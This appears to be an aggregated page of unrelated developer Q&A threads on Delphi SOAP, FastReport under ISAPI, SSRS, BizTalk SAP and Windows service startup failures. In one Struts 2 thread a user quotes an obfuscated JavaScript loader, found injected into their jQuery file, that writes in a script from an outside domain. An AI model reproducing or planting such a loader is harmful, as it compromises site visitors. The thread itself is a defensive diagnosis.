We've recently setup out own webservice using SOAP and it all works like a charm.
Because the service is only used from within our own applications, I usually don't allow for a WSDL to be generated.
Today i started some tests with SoapUI and needed a WSDL of our own service. So I enabled the Default action of the TWSDLHTMLPublish component and tried to get the WSDL exported. All I got was an access violaton in WebServExp.GenerateXMLSchema, line 1636:
if (ParentInfo = nil) and ((GetTypeData(ATypeInfo).ParentInfo)^ <> nil) then
Debugging this, reveiled that GetTypeData(ATypeInfo).ParentInforeturned a nil, so of course using ^ on nil raises an access violation.
After removing the carret i had no problems generating the WSDL.
So did I find myself a bug here or am I missing something?
BTW: We have created our own SOAP.bpl, containing all original Delphi soap sources, to correct it for a known problem with exception derived from TRemotableException
So did I find myself a bug here or am I missing something?
Yes, that's a bug. And Subversion reveals it's been like that for many years - for as long as we've been on Subversion:(. [I am not setup to access the previous Starteam repository anymore].
I'm making to a note to remedy and check in unit tests for this. Please feel free to file a QC if time allows. And I'd like to hear more about the issue with TRemotableException-derived types.
Cheers,
Bruneau
Related
Found this this post ISAPI web application hanging if FastReport.PrepareReport is called
It helped solving my problem partially. As well I´ve turned Wisiyng property to False on frxRichView. Since I'm retunrnig a base 64 string I've also tryed switched loading from StrToStream/LoadFromStream to LoadFromFile. The problem persist with multiple acess, 2 out of 10 process can finish loading my Pdf file. All the others requests hangs until timeout. Does anyone have an idea what else can I do? is there anyother way to retunr rtf format into Fastreport report Thanks.
I could only get time-out error using Selenium to test multiples request from the client side.
Update: I've figured that just having a TfrxRichView component in the report causes the hanging, it doesn't even need to have a rtf text on it. Replacing it to a memo all request are answered.
UPDATE: Got a answer from fast report and I wold like your opinion.
ok,
I had similar problems, and it is not easy to find out the reason, but maybe you can find your solution in between my considerations..
1) Stack Size
When ran in IIS your ISAPI is only a DLL called by a process, you are not the main process so you have to pay attention to stack dimension.
Normally a Delphi application have a default stack size of 1Mb, in ISAPI DLL you will have only 256Kb of stack.
Maybe you are facing a stack overflow exception.. it can explain why it does not occurr always but only in some circumstances..
2) Trapped Exception
In general you get some error during the preparation of report (aka all the job of working with data, expressions, variables, formulas etc etc..) can bring to a trapped exception. You may be unable to see it from outside but code execution was broken somwhere and report preparation had not finished.
3) MessageBoxes and/or standard Exceptions
when running in ISAPI you should not output anything to user interface,
maybe a message dialog (or an exception) can bring to unexpected behaviour.
4) Global Var
You should avoid global var because in ISAPI they will be common across threads
So, if you have sources, debug the application.. at first exception you should understand where is your problem..
If you have not sources.. chek the above list.. I hope you can find some useful information.
You have two ways to solve this:
1- Try to recreate this behavior while debugging your ISAPI DLL. If you are lucky, you can identify the thread that is hanging your application. Sometimes this is hard or even impossible to recreate.
2- If you have access to the hung ISAPI application instance, use a tool like SysInternals Process Explorer to create a minidump file. Your application must be built using full debug symbols and you should have the corresponding map file. With one (or more - even better) dump files obtained from your hung application plus the map file, you can use another tool, WinDbg to analyze it and find the cause. (Sometimes) WinDbg can show exactly which thread is hanging the whole application and the line of code that causes it.
If you have never done that, I must warn you that this kind of analysis is almost a gamble... You have to use several different tools with little
or no documentation, read heaps of technical info in various places. In the end, sometimes it works wonderfully and sometimes it fails miserably.
Because debugging ISAPI is not obvious, but also because I wanted to be able to switch easily between more different hosting solutions — and wanted to update my website on the fly without a restart of the web-server/service — I created xxm. It has a singular interface to the HTTP context, your DLL gets loaded by either a IIS ISAPI handler, or a HTTP.SYS handler, or an Apache httpd module, or for debugging locally you can just set xxmHttp.exe as host application to get IIS out of the way.
I am trying to create a sample Delphi XE7 desktop app that will connect to SSRS 2005 web service but every time I try to call LoadReport web method, the following error is shown:
This is what I have done so far:
Create a desktop app.
Import WSDL for ReportExecution2005 and ReportService2005.
Create a button that call the web service based on the code shown
here. The web service locations as well as report are hardcoded for
simplicity purposes.
This is the code snippet from the link:
HTExec := tHttpRio.Create(nil);
rsExec := GetReportExecutionServiceSoap(False, ExecURL, HTExec);
// Load the selected report.
LRParams.Report := 'ReportName';
LoadParamsResponse := rsExec.LoadReport(LRParams); //here it fails
Note: I have already created a .NET win form app (VS2010 and VS2013) that consumes this web service without any issues, thus I know the web service and report to render are working OK. Sadly our requirements is for a Delphi solution, My educated guess is that the WSDL importer generated code is not correct and somebody out there may have come across with this issue before and know how to solve it.
I did a quick search for "http://schemas.microsoft.com/sqlserver/2005/06/30/reporting/reportingservices/LoadReport"
and found this.
If it applies to you as well, it may be the case you're calling the service on an incorrect URL, use the one with ReportExecution2005.asmxin it, not ReportService2005.asmx
(There's a lot more here)
To find out differences between the Delphi version and the working version, use a HTTP proxy (Fiddler2) to capture the SOAP HTTP traffic in both setups.
If you have no access to the working environment, use SoapUI to create SOAP requests.
been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.
Use WCF-SAP binding in WCF-Custom adapter, ReceiveIDOCFormat is set to 'String', in the pipeline component, we wrap and call a flat file disassembler to disassemble the SAP request to XML and process it later. We also have a log compnent which will log the SAP raw message prior to disassembler (the string version) to database (streaming way using CForwardOnlyStream)
Here is the problem, during the UAT testing with SAP, we find occasionally the flat file disassembler is complaining 'Unexpected end of stream while looking for:....', when we inspect the SAP message sent over the wire, we find the SAP request only contains the header (EDI_DC40), with emty content after that. What makes me worry is , when we go into SAP, resubmit the failed message using transaction WE19, disassembler has no problem parsing it.
I am totally lost, can someone please sugguest how to troubleshoot this?
Thanks a million!!
I think probably I found the problem now, SAP guys added a field, what I used to do (which I think is right but it may be the flaw) is, I didn't regenerate the schema, instead, I just manually added the field in Visual Studio and set the field length based on IDOC description.
I regenerated the IDOC using the WCF wizard, it seems it is not as same as added a field in visual studio, I just deployed this schema and hope it will address the problem, I'll post my findings later if it worked
I have a windows service that is failing to start, giving an error "Error 1053: The service did not respond to the start or control request in a timely fashion".
Running the service in my debugger works fine, and if I double click on the the service .exe on the remote machine a console window pops up and continues to run without problem - I can even see log messages showing me that the program is processing everything the way it should be.
The service had been running fine previously, though this is my first time, personally, trying to deploy it with the most recent changes made to the program. I've evaluated those changes and cant figure out how they might cause this problem, particuarly since everything runs fine when not started as a service.
The StartRoutine() method of the service impelmentation is empty, so should be returning in a "timely fashion".
I've checked the event logs on the computer, and it doesn't give any additional information other than it didn't hear back from the service in the 30 second requisite time frame.
Since it works on my machine, and as a double-clicked executable, how would I go about figuring out why it fails as a service?
Oh, and it's .NET 2.0, so it shouldn't be affected by the 1.1 framework bug that exhibited this symptom (http://support.microsoft.com/kb/839174)
The box is a windows server 2003 R2 machine running SP2.
This is a misleading error. It's probably an unhandled exception.
Empty your OnStart() handler then try this in your constructor...
public MainService()
{
InitializeComponent();
try
{
// All your initialization code goes here.
// For instance, my exception was caused by the lack of registry permissions
;
}
catch (Exception ex)
{
EventLog.WriteEntry("Application", ex.ToString(), EventLogEntryType.Error);
}
}
Now check the EventLog on your system for your Application Error.
Could be a number of things and it might help to get a stack trace on the machine exhibiting the problem. There are a number of ways to do this but the point is that you have to see where this is failing in the code.
You can do this with remote debugging, but a simple thing might be to just log to the event logger, or file log if you have that. Literally, putting "WriteLine("At class::function()") throughout portions of the code to see if you've made it there.
This will at least get you looking in the right direction (which ultimately is the code).
Update:
See Microsoft's How to Debug Windows Services article for details in troubleshooting startup problems using WinDbg.
This related question details nice ways to debug services that are written in .NET.
I agree with Scott, the easiest way to find out what's happening is to put some traces in the start-up code (maybe it doesn't even come to your start-up code).
If this doesn't help, you can post your code here so others can take a look.
perhaps lacking some dependence, try this :
- deregister your service
- register again
If fail at register means that lack an module.
If the StartRoutine is empty, you are probably starting it somewhere else.
IIRC you need to fire off a worker thread, and then return from StartRoutine.
One of the problems which may lead to this error is if windows service which needs to be deployed consists of some error i.e it may be simple authorization error or anything as in my case I have referenced some folders and files for logging which were not existing, but when provided the right path of those file and folders it solved my problem.
I ran through every post on this particular subject and none of the responses solved the problem, so I'm adding this response in case this helps someone else. Admittedly this only applies to a new service, not this specific case.
I was writing a File listening service. As a console app, it worked perfectly. When I ran it as a service, I got the same error as above. What I didn't know (and many of the MSDN articles about services conveniently leave out) is that you need to have your class executed from within ServiceBase.Run( YourClassName());. Otherwise, your app executes and immediately terminates and because it terminated, you get the error above even if no error or exception occurred. Here is a link to an article about this. It actually discusses setting up your app for dual use - Console app and service: Create a combo command line / Windows service app
I had that issue and the source of my problem was config file. I edited it in notepad and notepad added one special character which cause service not to run properly because config file was ruined. I saw that special character in notepadd++ and after delete it, service started to run successfully as previous did.
In my case, the correct .NET framework was not installed on the server that I was installing the Windows service on.
One other reason is If you copy the DLL in 'debug' mode to installation folder this issue will come.What you need to do is Run the project in 'Release' mode copy the DLL or directly form Release folder rather than Debug folder,,and copy that DLL in to installation folder,it will work.You can see the reduction in size of DLL ,it will not contain any debug symbols and like that